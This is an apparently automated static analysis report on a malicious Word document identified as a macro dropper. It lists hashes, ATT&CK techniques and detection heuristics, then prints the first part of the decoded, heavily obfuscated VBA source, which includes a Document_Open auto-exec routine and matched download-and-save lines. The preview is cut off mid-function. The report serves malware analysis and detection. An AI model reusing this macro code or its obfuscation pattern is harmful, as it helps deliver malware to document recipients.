Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2cd5c0b3035f829d…

MALICIOUS

Office (OLE)

483.5 KB Created: 2018-10-11 00:03:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 2f2923935626ae0ced4dc4889395e589 SHA-1: 4dbb7c526b907736289e0c9102fbf57e2e0a18d0 SHA-256: 2cd5c0b3035f829d75be2a60eef0f149a433a519d3e0f45f13534960dbda43d3
300 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains a large, obfuscated VBA macro that utilizes `CreateObject` and `Environ()` calls, indicative of malicious intent. The critical heuristic `OLE_VBA_HTTP_DROP_EXEC` confirms that the macro downloads and saves a file to disk, while `OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER` and `OLE_VBA_PCODE_AUTOEXEC_EXEC` highlight its nature as an obfuscated auto-executing loader. The ClamAV detection further supports its malicious classification as a dropper.

Heuristics 10

  • ClamAV: Doc.Dropper.Agent-7153792-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7153792-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        RJQnFy = kJQzuq.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set pfGpvm = CreateObject(LuoBDBMr)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set pfGpvm = CreateObject(LuoBDBMr)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        Call vuISfox.SaveToFile(Environ(WxyHVqpUj("A[h Wzl#uw_&lXfA  UDa R#sm  _?e%VcA!r yLE sZY _vPJ@ThdrA[G sos@esjfc A]ai%ex$PlJ@C-ge]U][_")) & FSUkoRp("\DDY(Q\)xhjEpHy MqXMN T f mQH r&ohsRw&bES@f?b_ IYne  #.sikc@e O hkxY#o Re ZlP$"), 5 + 3 - 6)
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 196021 bytes
SHA-256: 164a4cfa7d714e1c4a87275841fcc7d7f6cad640c54be08ed90a1468f77825b5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
964 of 1565 identifiers look randomly generated (e.g. 'WoOLhzNCYXniOrPEtyTu'); 68 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Open()
    

            For rnrBpk = 2 To 4
                While OnWIzS < 1
                    BYmyvH = 64 + 21 + 4 + 81 + 76
                    MDOXBpJdOp = RTrim(" WUI riXV]vyc-") + StrReverse("We  ?jH H te")
                    jipJOzSLqhBA = UCase("P$ywb j") + RTrim(" o NpCsW EyBN ")
                    nPsFM = 26 + 39 + 15
                    OnWIzS = OnWIzS + 2
                Wend

                fDONqpBA = RTrim("  K%L .P  HG A_!") + UCase("bE!?X vI")
                ELvyS = Right("PzxjI  FBaJy$- A?$", 4)
                yYZvVdZSaP = Space(16) + Left("Hz%f .C.", 4)
                MDOXBpJdOp = UCase("xONKCC$.F.c") + RTrim(" #GY r")
            Next rnrBpk

    BYmyvH = Left("I  NZk.-KepBjpQQeiX", 5) + LTrim("K  @( tOT g")
            For bbDTDl = 2 To 3
                For wZrTkV = 2 To 7
                    FoeuLQyemgB = 96 - 87 - 38 - 60 - 27 - 31
                    MDOXBpJdOp = 8 + 8 + 44 + 15 + 31
                    BYmyvH = RTrim("##V^[nxY Y I ") + StrReverse("JsC I!iIYS)L.")
                    GbdxvxSrzhW = LTrim(" ( Q r@ Y ")
                Next wZrTkV

                ELvyS = Right("$r LVZz#(^AV] ", 3)
                MDOXBpJdOp = UCase("LY[aVDver") + RTrim(".v(kvS c Ngam FgPb")
                GXDlf = RTrim("!C vV_wJSA  ") + UCase(" WTDLp  q kV)^-")
            Next bbDTDl

    

            While cVYyVx < 1
                UsADkOeLdbH = RTrim("GdNM?vuDSb?X dtM%") + UCase(" C $]%  Ir )nrr]D ")
                UsADkOeLdbH = Space(12) + Left("Q vdrGaOi]@ r Zn s ", 4)
                hFrJQyUf = Left("a ) PA Uftu", 2) + LTrim("F%TTl .")
                cVYyVx = cVYyVx + 2
            Wend

    hFrJQyUf = 27 - 27
    KLbagFCsJuT = Right("zAJRo A (W o ", 5)
    yYZvVdZSaP = UCase("n %brvdKh   Q]Jy r) ") + RTrim("  h)iF ")
    GbdxvxSrzhW = UCase("[T  x") + RTrim("a M kKT _y")
    SpHhVE "dYCpYn", "LwOOwk", "ZbtzlMt", "pDwWcxNmT", "MTsnjlL", "JbfxSOPhO", "EtTngg", "HAYjArl", "mxpQLxvPWM"
    

    JgkmAkCsa = RTrim("CK?sY ") + StrReverse(" ] t LM")
    PXQgbxXHDpRA = 50 + 7 + 80
    OTITsGXNBCq = RTrim("iC%.  ") + StrReverse("nq^XN pjq]E @h D  ")
    yYZvVdZSaP = Left("$@ SC V$zXz   YB^vh$", 4) + LTrim("w.R$!Y _ g fMI")
    GbdxvxSrzhW = 66 - 11 - 96
    PXQgbxXHDpRA = UCase("  #_Cz@Qdoij ") + RTrim("WG! WXhPZA diwPAb.qZ")
    yYZvVdZSaP = LTrim("se gCbH[Ph[KF ")
    FoeuLQyemgB = RTrim("jKl)TUQxtzMv") + StrReverse("   ^P(lw tBp !Bl")
    jipJOzSLqhBA = LTrim(" B&U-gn ")


End Sub



Attribute VB_Name = "Module1"
Function mIGPSZ(jMdqyJl As Double, PIpfmc As Boolean, NYbtECT As Double, DJWoMKt As Integer) As String
    kPVKDPrWeGf = Left("WS VHUm.ju u", 5) + LTrim("v  dm]")
    PXQgbxXHDpRA = 32 - 35 - 12 - 73 - 81 - 14
    ELvyS = UCase("zOtR] H  ") + RTrim("oS. r")
    jipJOzSLqhBA = Space(2) + Left(" . ruZ^Im KOo", 2)
    

    PbsXN = Right("cOh Ch%vbE.", 4)
    kPVKDPrWeGf = UCase("   S ") + RTrim("@w$@?F ")
    EECtVHFzRey = RTrim("Po@  b g?zdh]") + UCase("KSD[QD- m   Q^O@@ Md")
    OTITsGXNBCq = RTrim("Dq  n Q  I$(") + StrReverse("  &] PL  Zt?e @Y Y C")
    GXDlf = 85 + 0 + 6 + 79 + 67
    yYZvVdZSaP = 33 + 55 + 8
    jipJOzSLqhBA = 70 + 59 + 46 + 53 + 53
    jYLTX = RTrim("- cpp #s! -B# K[ @") + StrReverse("NM   jA  xhg&@mz")
    EECtVHFzRey = UCase("Yr# %") + RTrim("%OxFne _w zU")
    

    fDONqpBA = 58 - 57
    mIGPSZ = "bQzWAQGOddWJzHTV"
End Function



Attribute VB_Name = "Module2"

Sub DmAqcT(qtrCtam As Boolean)
    FoeuLQyemgB = RTrim("  W rtKxzm") + UCase("?T-#wEw")
    jipJOzSLqhBA = Space(17) + Left("cpaav gz Vy  ", 4)
    pQumWuUkiVpn = 1 + 54 + 2 + 36 + 40 + 72
    rYEtdFRVf = Left("@[ KlMj & ", 5) + LTrim("bU r%AM W #jGN$Mwsbg")
    LfzgOdzADS = RTrim("vevd   PGH)d U wQH") + StrReverse("@jN ?wu kL vr  ")
    JgkmAkCsa = Left("Yz  wR  pGP#Gx", 3) + LTrim(" &CH@Q&")
    While DqsnBv < 2
        For EhPLQr = 2 To 6
            GXDlf = RTrim(" Z-)lf  F]a ") + StrReverse("y T]#djWo   t@XxD.T ")
            jipJOzSLqhBA = Left("]L b ", 3) + LTrim("?D%z$CHQW   ")
            

            MDOXBpJdOp = LTrim(" x #zIhDp ( BL[")
        Next EhPLQr

        BYmyvH = Left("@ c)D   Z", 5) + LTrim("  bExpu")
        yYZvVdZSaP = Left("xVNN_EZP T Dc ToTK&H", 5) + LTrim("p B $rx LnZ Sco%")
        BRRmWoBqu = UCase("^Xw# O") + RTrim("PDKjb")
        DqsnBv = DqsnBv + 1
    Wend

    While BsThfn < 3
        WUXhaA = 15 + 47
        EECtVHFzRey = LTrim(" ck  &) J sWF& X(M")
        FoeuLQyemgB = Space(1) + Left("X kif#z", 2)
        LfzgOdzADS = Space(2) + Left("-?QEgV", 4)
        BsThfn = BsThfn + 1
    Wend

    kPVKDPrWeGf = Space(7) + Left("   c AONoqKAYXHH#", 3)
    OTITsGXNBCq = UCase("Xw$DO@#I") + RTrim("s S_m dOx rC[^lz^uOo")
    rYEtdFRVf = RTrim("Ru.sMJ nC") + StrReverse(" ( )h r %h M S u!ma")
    yYZvVdZSaP = 91 - 51 - 27 - 85 - 61
    PXQgbxXHDpRA = Right("[X ]M v t LERCpG", 2)
    ELvyS = Right("[hYv ]", 2)
    For qpdNKG = 2 To 4
        While CCsTAE < 1
            PXQgbxXHDpRA = 90 + 21 + 96 + 69 + 97
            jYLTX = UCase("m  m&@xaeZ  I%  ie ") + RTrim("#XBm  uCAJ ^")
            GbdxvxSrzhW = Space(5) + Left("MqOQD F$ QeTK   Jl -", 2)
            fDONqpBA = 61 - 83
            PXQgbxXHDpRA = RTrim("#QouqYXH") + UCase("UoiRRMg Tt VvL^  ?")
            CCsTAE = CCsTAE + 3
        Wend

        jYLTX = LTrim("A[ XNxz")
        nPsFM = Space(14) + Left("u Z@w N vFB^U! ", 3)
        

        

        LfzgOdzADS = 88 + 4 + 54 + 33
    Next qpdNKG

    For BBXjIN = 2 To 5
        While bPaykH < 1
            

            ELvyS = 73 + 79 + 51
            KLbagFCsJuT = RTrim(" )EghG xw L]]o ") + UCase("A  _!i.e@?f")
            MDOXBpJdOp = UCase("tn mvE  Wvcp  m#PAQ") + RTrim("w(L u ] O# k( AMPI k")
            UsADkOeLdbH = UCase("pgr  PAS") + RTrim(" ^T  X&eR")
            bPaykH = bPaykH + 3
        Wend

        PbsXN = RTrim("ygH IUQ$gdj") + UCase("  A h  A")
        kPVKDPrWeGf = RTrim("-H!]e ZvKxEE!#je th ") + UCase("jM_ OO ")
        

        

    Next BBXjIN

    For PUcROf = 2 To 3
        While xkLxHe < 3
            jYLTX = RTrim(") LQ @K j ") + StrReverse("y bzSO?TH")
            WUXhaA = 34 - 59 - 90 - 19 - 65
            KLbagFCsJuT = Left(" z H[hLe )n %", 3) + LTrim("AadI$ej(  q  ")
            UsADkOeLdbH = UCase(")RIc $k - p GWM Q$lK") + RTrim(" [PRN(B  hma JbJbd ")
            xkLxHe = xkLxHe + 2
        Wend

        GXDlf = Right("[yM$komu^H JLI ", 5)
        

        GbdxvxSrzhW = LTrim("  A  A. ")
        PbsXN = UCase("C. &f") + RTrim(" V[RQmU MFB O sOQLx")
        WUXhaA = Right("iCh &DvkdBWM -mSD!? ", 2)
    Next PUcROf

    pQumWuUkiVpn = LTrim("YWO ^  TTUfAN")
    EECtVHFzRey = UCase("(cMtYm PYma)QpPq") + RTrim("L!  ve   Y")
    GXDlf = Right("uYVjQ^S_] %ohc ", 4)
End Sub



Function KdBohs(HoJflD As Boolean, SZYRxR As String) As String
    

    LfzgOdzADS = Right("# O lSg RU $GS ", 4)
    WUXhaA = Right(" J#y)gtm JF", 3)
    jipJOzSLqhBA = 67 - 80 - 27 - 9 - 31
    PbsXN = 94 - 85 - 35 - 61
    hFrJQyUf = 5 - 54
    MDOXBpJdOp = Space(7) + Left("HM)b Z", 2)
    BRRmWoBqu = Space(17) + Left("@Vfst DGHI Rn(  LP", 5)
    fDONqpBA = RTrim("!?OB. !-K") + StrReverse("X% eKLTz)$] !(nvUNH")
    

    fDONqpBA = Right("m& c lP?l l UXb  ", 2)
    jYLTX = Left("  &fwm", 2) + LTrim("LT B_Cigv!LE pQPAFXv")
    JgkmAkCsa = Right("  jDi", 5)
    OTITsGXNBCq = Right("# &CM", 4)
    fDONqpBA = Left("zO  [i Q CU ", 3) + LTrim("]#VC  )?PW]")
    While khrBCu < 5
        rYEtdFRVf = Right("zc(%T H @   CAf", 2)
        ELvyS = RTrim("uZFm%)L$ w  DI") + StrReverse("lAKq lqzP - RAqC")
        

        khrBCu = khrBCu + 1
    Wend

    KdBohs = "wyivUtKkdsRscmSt"
End Function



Attribute VB_Name = "Module3"

Function ccPRMV(TuPaas As String, EkWvUlm As Boolean, NKYucly As String, kBMlISQ As String) As String
    JgkmAkCsa = LTrim("yN  niAN xn  JF.W")
    MDOXBpJdOp = RTrim("Ik kgQSN )$W_ o #") + StrReverse("Xg i%P$  ")
    BRRmWoBqu = RTrim("@qalK? cOsHRI g P") + StrReverse("!sntk")
    MDOXBpJdOp = RTrim("nwWeREQd BJ kM") + StrReverse("zZ I-r#H%  cm")
    hFrJQyUf = Space(13) + Left("F xI LOckX N T&   bF", 3)
    fDONqpBA = RTrim("i$E-KV jx TTgRq") + StrReverse("K e @ J$R")
    jipJOzSLqhBA = RTrim("$(e& rKt jz_ l(zt") + UCase(".A% i  @h PKgK   ")
    yYZvVdZSaP = LTrim("QWT cWUhz[pByd vF")
    PbsXN = LTrim(")Mx Xz oGg")
    UsADkOeLdbH = 100 + 94 + 92 + 78 + 26 + 14
    fDONqpBA = RTrim("_KcGP [mYPdQbF&lI%") + StrReverse(" HBq o zhQ#L ]nq k ")
    BYmyvH = Right("ekD@K", 2)
    EECtVHFzRey = RTrim("?( QUz") + UCase(" M   p zM  _ F W%")
    FoeuLQyemgB = RTrim("zf#MTW@(?  ]") + UCase("$sWPN#gMD]")
    WUXhaA = UCase("!&^HhSNDP  ZQ]") + RTrim("?XOmT.PT  -L $?M   ")
    BRRmWoBqu = Right("uS) bp&(^ z-", 2)
    rYEtdFRVf = 84 + 14 + 43 + 37 + 2 + 96
    JgkmAkCsa = Right(" i syh   etKAHo.Fxl ", 3)
    ccPRMV = "VmDGedougVXBVDxJct"
End Function



Attribute VB_Name = "Module4"

Function qVVwHA(qLtRhT As String) As String
    KLbagFCsJuT = Right("a  CTHk ip_  #sIR", 4)
    JgkmAkCsa = 40 + 79 + 35 + 32
    yYZvVdZSaP = Space(14) + Left(" mL-Uy ^M? GU $ ", 3)
    OTITsGXNBCq = 20 + 30 + 17 + 34 + 43
    ELvyS = 75 + 20 + 6
    

    hFrJQyUf = RTrim(" n(gSTotm_$# c") + StrReverse("xB? [?Me")
    For FOKZuc = 2 To 6
        LfzgOdzADS = LTrim("nD%MB ")
        BYmyvH = 36 + 34
        BRRmWoBqu = UCase("b$Obu @ E") + RTrim(" N!yFTYjy  _ i [?x")
        nPsFM = Space(1) + Left("Bvf  GRQb   bu x ", 2)
        OTITsGXNBCq = Space(11) + Left("@r vCZ@ gG", 5)
    Next FOKZuc

    yYZvVdZSaP = LTrim("mxG ^rFV eG NAPs)e")
    

    UsADkOeLdbH = LTrim(" R?WG yc  zaEIyy(@")
    yYZvVdZSaP = Right("m  x ZJL  ", 4)
    jYLTX = RTrim("]s X ") + UCase("& wC F& e P&")
    BRRmWoBqu = Space(5) + Left(" rs [ ", 3)
    While oNvSuK < 3
        kPVKDPrWeGf = RTrim("QQx# )t[jn") + UCase("  g] )  EkG&")
        WUXhaA = UCase(" &#Iq") + RTrim("LU gFjIv_")
        FoeuLQyemgB = RTrim("A a@P N% hS# Qu") + StrReverse("n](Cv %SZG ")
        oNvSuK = oNvSuK + 3
    Wend

    

    EECtVHFzRey = UCase("[nHA t cgh ") + RTrim("yBcB f_Z ( ")
    

    qVVwHA = "bENkZvNwFThlwLmKxp"
End Function



Attribute VB_Name = "Module5"

Function deUKRs(rQxsuL As Double) As String
    jipJOzSLqhBA = 58 + 96 + 70 + 29
    GXDlf = 90 - 79
    hFrJQyUf = LTrim("t$u  TVvF ")
    

    nPsFM = 21 + 66 + 8
    rYEtdFRVf = 43 - 71 - 47 - 65
    OTITsGXNBCq = Left("T UOm_", 3) + LTrim("  %a k-ef ")
    fDONqpBA = UCase(" iU#.f h") + RTrim("$ Ue? fDMR(#$ DES")
    

    PXQgbxXHDpRA = Space(13) + Left("$fgM[pda U(z   (%", 3)
    UsADkOeLdbH = Space(17) + Left("u   t(  Xu b", 2)
    GXDlf = RTrim("x  VIo]J   ") + UCase("s.#Ln^t pKO]")
    EECtVHFzRey = RTrim("xJ@j^[yB") + UCase("    t g[k CW#Dek  k")
    UsADkOeLdbH = UCase("   [? P") + RTrim("zhbpnp l EH")
    MDOXBpJdOp = Space(11) + Left("V Q.v#e)% $_Tb F", 3)
    PXQgbxXHDpRA = RTrim(" UN &kR$RqnTb") + StrReverse("&z-GAr^R")
    BYmyvH = Space(16) + Left(" IuU z", 3)
    yYZvVdZSaP = RTrim("w]oj ax wVoo]^v") + UCase("U   Rq qLS& @ R!eW")
    deUKRs = "XWWDHpwoXFldatqRci"
End Function



Attribute VB_Name = "Module6"

Sub CoYVYx(TYWhFbw As Double)
    jipJOzSLqhBA = 75 - 57 - 70 - 45 - 79 - 55
    EECtVHFzRey = 20 - 77 - 0
    FoeuLQyemgB = Right("    cl^    ", 2)
    pQumWuUkiVpn = Left(" D z-Cz QCXw q", 2) + LTrim(")   v ")
    UsADkOeLdbH = Left("kJ # R ^!? ^", 3) + LTrim("b @?qnaF Iy G")
    UsADkOeLdbH = 66 - 46 - 63 - 55
    While PihbIk < 4
        UsADkOeLdbH = UCase("GJ y  WV Y  -]  sWd$") + RTrim("v[xXNyWTk !p (e")
        JgkmAkCsa = Left("A!JAVfW T", 3) + LTrim("_tlU A!]  ")
        JgkmAkCsa = Space(7) + Left("G- E&w   ", 2)
        EECtVHFzRey = RTrim("   lwto$WoSg g[") + StrReverse("sdS ^u x .")
        PbsXN = UCase("J LaXcdHGW ") + RTrim("o WrHKagmh@mgVmdx")
        PihbIk = PihbIk + 2
    Wend

    GXDlf = UCase(" zpx GhBZcB_h!R   Xk") + RTrim("IlL qM")
    While iAfUAT < 5
        While enbKHV < 5
            MDOXBpJdOp = RTrim("?  T#_") + StrReverse("mRM  @ gH")
            BYmyvH = LTrim("^ZE ]s@lliq  HkO")
            rYEtdFRVf = 49 - 25 - 99
            enbKHV = enbKHV + 3
        Wend

        hFrJQyUf = Right("I   ll", 2)
        yYZvVdZSaP = 17 + 31 + 1 + 82 + 95
        WUXhaA = Space(16) + Left("    BPwO)     ", 4)
        iAfUAT = iAfUAT + 2
    Wend

    

    

    EECtVHFzRey = 61 - 95 - 4 - 42 - 98 - 27
    nPsFM = 40 - 7 - 10 - 89 - 90
    MDOXBpJdOp = LTrim("tv   OZp l")
    hFrJQyUf = Right("O RYgyoL&UL!&hkr@", 4)
End Sub



Function MLTjTQ(MGmbgRM As Integer, BKhXhj As String, DwdWbU As Double) As String
    KLbagFCsJuT = Right("absw]ueZSCb_", 3)
    

    MDOXBpJdOp = UCase(" l[Lh_dK gBPOh") + RTrim("fr v G&Q!")
    XHLamDwlCbX = 63 - 80 - 22
    

    pQumWuUkiVpn = 69 + 62 + 91 + 72 + 49 + 56
    ELvyS = 25 - 78 - 59 - 36 - 39
    jipJOzSLqhBA = LTrim("x vfkG!S%ni -  jrXBp")
    BYmyvH = Right("mz Exvbnt ", 3)
    

    While WBaPqV < 1
        While LrNfdL < 2
            hFrJQyUf = 9 + 43 + 45 + 49 + 37
            XHLamDwlCbX = Right(" raTPhx   @ ?LwlAU", 5)
            kPVKDPrWeGf = Space(20) + Left("Ef^ hT P   GuGuxe !", 5)
            LrNfdL = LrNfdL + 1
        Wend

        PXQgbxXHDpRA = RTrim("gdv$@vnXja&@W@XvIA") + UCase("Zd   ! z%@ DjDkz")
        WUXhaA = LTrim("Mr?uF Z d- Z.kN")
        JgkmAkCsa = LTrim("HuYmV H.mAR")
        WUXhaA = 73 - 77 - 36 - 93
        

        WBaPqV = WBaPqV + 3
    Wend

    LfzgOdzADS = LTrim("IxmEtZvY)( K   ")
    

    PbsXN = Left("MQd Qd()MhW uR", 2) + LTrim("%  p ^M ySaPjfLjvMiI")
    fDONqpBA = 31 + 21 + 0 + 41 + 88
    MLTjTQ = "AaKpdQPsiwTXzQQ"
End Function



Function aWuVmf(BuxkjC As Integer) As String
    EECtVHFzRey = RTrim("JkkLrYNIU @@ ") + UCase("XZ(  r!.u  h")
    JgkmAkCsa = Left("UlXbmjROB) $?L", 5) + LTrim("^Eax R")
    

    kPVKDPrWeGf = UCase("wjsIm  IhZ") + RTrim(" k[ Phh-L B ")
    While hfJhtU < 2
        GbdxvxSrzhW = 14 - 59
        fDONqpBA = LTrim("PmJuQymm[ sR[Ie  ")
        fDONqpBA = UCase("k#KNLI") + RTrim("wE @N^")
        hfJhtU = hfJhtU + 1
    Wend

    

    LfzgOdzADS = 87 - 49 - 62 - 2
    PbsXN = Space(13) + Left("ZUDQJ @xfQ", 5)
    GbdxvxSrzhW = RTrim("gLt p[g)%kMa? ") + UCase("tvnuF  y&-.")
    BRRmWoBqu = RTrim("[W(bs  U!PT  ") + UCase("sOp xsh@ B#  E ")
    FoeuLQyemgB = Right("u[ l) F-P[kH ", 4)
    For SxJHqG = 2 To 9
        pQumWuUkiVpn = 86 + 37 + 16 + 74 + 69 + 59
        LfzgOdzADS = Left("#Ju .yv)c    ]qU&AgX", 2) + LTrim("$]zzJ#?ce- $n cIpex")
        kPVKDPrWeGf = Right("H  EL[ !@W y?", 5)
    Next SxJHqG

    UsADkOeLdbH = RTrim("?kY a") + StrReverse("pP nb@Uh ^%")
    PbsXN = Space(8) + Left("OJE? uwXkFxifg$", 4)
    ELvyS = Space(17) + Left("LsB t  ^ %KG #", 5)
    aWuVmf = "PEZxjjxPKgXCFUT"
End Function



Function qAhAmy(nDdAhdt As Integer, OPlZrS As Double, DoBhrj As Integer, zNkiAor As Integer) As String
    GXDlf = UCase(" !  t )Gj") + RTrim("G   p!OfkX A ")
    jYLTX = 53 + 37 + 41 + 72 + 60 + 45
    

    BYmyvH = Right("elA-KDKb P %I ln", 3)
    ELvyS = 19 + 98
    fDONqpBA = LTrim("u OoW # JK")
    rYEtdFRVf = RTrim("nQ% fb ") + StrReverse("@hzQH!")
    BRRmWoBqu = Left("chU a  -)v  ", 2) + LTrim("Uno# ]")
    rYEtdFRVf = LTrim("  F OY]emVri y%q")
    FoeuLQyemgB = 35 - 32
    BYmyvH = UCase("r uG_q@o]RvvZ ") + RTrim(".  Y ")
    pQumWuUkiVpn = LTrim("  ]E ")
    MDOXBpJdOp = Left("PH FV uOj [ ] hhR", 3) + LTrim(" .Lxg?uEOqrJYQ#h M")
    For ZdNMTc = 2 To 7
        fDONqpBA = RTrim(")XAxZB") + UCase("k P lz QnE_EDVo[")
        EECtVHFzRey = 81 - 44 - 43 - 59
        FoeuLQyemgB = UCase("kzO #e") + RTrim("RJ$q Y")
        LfzgOdzADS = RTrim("BK (C.  d") + StrReverse("  (NEta[y]De YJ W U")
        ELvyS = 35 + 65 + 29
    Next ZdNMTc

    ELvyS = LTrim("] v # wp?w")
    WUXhaA = 51 + 10 + 35 + 15 + 47
    LfzgOdzADS = LTrim("uIERl kwvlIdz %uh&")
    KLbagFCsJuT = RTrim("UX_FGq Dc") + StrReverse("aDBd^W#e n")
    rYEtdFRVf = UCase("t%g V $ @)Wz") + RTrim("   S -x $lSN]KP")
    UsADkOeLdbH = Left("_ $  Pe  ]%rY Is&y (", 4) + LTrim("BLI$U  k.x Y kPq-")
    qAhAmy = "WoOLhzNCYXniOrPEtyTu"
End Function



Attribute VB_Name = "Module7"

Function tgVUSO(ZSBNbK As Integer) As String
    GbdxvxSrzhW = Right("MZG^Q@", 4)
    WUXhaA = 14 + 42 + 51 + 33
    GbdxvxSrzhW = Left(". jM]  u)bSNv@", 4) + LTrim("h&C AIlv]a$pRw")
    For zbpDzG = 2 To 5
        While zZkRJC < 3
            yYZvVdZSaP = LTrim(" @ZU!SU")
            BYmyvH = Space(19) + Left("x#IhS", 2)
            EECtVHFzRey = 47 - 26
            XHLamDwlCbX = LTrim("H VDw")
            FoeuLQyemgB = UCase("  P&P") + RTrim("  vt  zG@")
            zZkRJC = zZkRJC + 3
        Wend

        

        MDOXBpJdOp = Left("Y[H Po ZL(NX aaf", 3) + LTrim(" MR  [ dXqOyR WO.l)p")
        EECtVHFzRey = Left(" D V c l_L SVc&WDr#z", 3) + LTrim(" sK%ClB ")
    Next zbpDzG

    kPVKDPrWeGf = 66 + 53 + 42 + 54 + 68 + 51
    UsADkOeLdbH = 10 + 22 + 82 + 86 + 50 + 54
    While KjcYBG < 3
        While FxrkmQ < 3
            jYLTX = Right("ili rJ$M_J]  WSH G@", 2)
            EECtVHFzRey = UCase("pn? QeuZU Y-Z") + RTrim("$^Hpm^p  b")
            GbdxvxSrzhW = Right("UI zB    y qonXec(", 2)
            

            FxrkmQ = FxrkmQ + 2
        Wend

        PXQgbxXHDpRA = RTrim(" $ rGH  IL  !] (  ") + StrReverse("]%^lL N-nroH")
        kPVKDPrWeGf = RTrim("Obg QIBaja") + StrReverse("(f  Nvl  ? J  ")
        OTITsGXNBCq = 11 - 70 - 61 - 31 - 48 - 67
        KLbagFCsJuT = Space(2) + Left("&f b]  vHDh wEGvjsL", 3)
        KjcYBG = KjcYBG + 3
    Wend

    KLbagFCsJuT = RTrim("s x )GG@n") + UCase("m[pXSX?Rr ^kg")
    hFrJQyUf = RTrim("U!wa   QjtCeL") + UCase("V  cSO pCN  z $ Bjfv")
    OTITsGXNBCq = Right(" (W zm!e   M kX", 5)
    ELvyS = 71 + 55 + 50 + 80 + 10 + 3
    XHLamDwlCbX = 84 - 99 - 75 - 28 - 29 - 44
    While bUWVrA < 3
        For yiLbeT = 2 To 7
            yYZvVdZSaP = 25 - 23 - 24 - 89
            WUXhaA = Right("RgwujWKfDQv", 2)
            GbdxvxSrzhW = Right("h@YRbRSS_iKzix", 5)
            BRRmWoBqu = 71 + 54 + 50 + 27
            fDONqpBA = LTrim("     B %QWJ!O j. hiX")
        Next yiLbeT

        ELvyS = Space(13) + Left("mOrasCw]i^   mDb?_ B", 4)
        UsADkOeLdbH = Space(2) + Left(" f u Tu[xK  O  lx ", 4)
        OTITsGXNBCq = 94 + 69 + 57
        JgkmAkCsa = Right("Q%W.J %Os[ Xq$B[  ", 4)
        EECtVHFzRey = RTrim("Ahy rpif  wa%@Jwd") + UCase(" h!&BLe")
        bUWVrA = bUWVrA + 3
    Wend

    GXDlf = 100 + 15 + 42 + 42 + 85
    FoeuLQyemgB = Right("Fjj@ (.   WK B", 3)
    jYLTX = RTrim("j c sH J  &l%d(q") + StrReverse("gHPtgb t    eLH")
    nPsFM = Left("( xA&DA @)", 2) + LTrim("GU^ $ a-C sg")
    While ODquPu < 3
        XHLamDwlCbX = LTrim("hJW]ef")
        jYLTX = Left("JIlde", 2) + LTrim("b bQ?a ^$    h E -Pb")
        KLbagFCsJuT = Left("$?sf#X", 2) + LTrim("  [M ^T .u  fU  ")
        WUXhaA = Space(7) + Left("!z !Q pAah^ Y Y", 5)
        hFrJQyUf = RTrim("qp -g HqXic  CwCG") + UCase(").B ARhh T@qB^]")
        ODquPu = ODquPu + 1
    Wend

    tgVUSO = "gJznwOxYtNDrXHZcON"
End Function



Function gySuah(AHTwaAF As Double, LwemsY As Integer, eJVMJOo As String, hHILBr As Boolean, tNGtPGA As Integer) As String
    JgkmAkCsa = UCase("xZ  aMAp .lts]") + RTrim("B]ax W   ^ .#@")
    BYmyvH = Right(" T y(!", 3)
    

    EECtVHFzRey = UCase("C N  y j N %QX S rw(") + RTrim("nbMcOf")
    ELvyS = 77 + 58
    While myhsEa < 3
        LfzgOdzADS = 57 - 95 - 90 - 22 - 95
        BRRmWoBqu = Right(" Ry#uvflG", 4)
        

        myhsEa = myhsEa + 3
    Wend

    yYZvVdZSaP = Left("zGF& M-NAVLtI", 2) + LTrim("U&JJ[&W")
    nPsFM = Left("oPGgD- _)  ]W", 5) + LTrim("  T T zE  z] %fT")
    BYmyvH = 52 + 51 + 76 + 11 + 61
    BYmyvH = RTrim("b#XBc Opo[f") + StrReverse(" !!lT !Cd?-?wz ")
    pQumWuUkiVpn = UCase("$TN ] ") + RTrim(" F.R-gkut(F X")
    BYmyvH = 38 - 42 - 8 - 94 - 45 - 22
    kPVKDPrWeGf = Space(13) + Left("$-Asl V# r", 2)
    fDONqpBA = LTrim("yqSTXY qEbfOL")
    jYLTX = 99 - 61 - 98
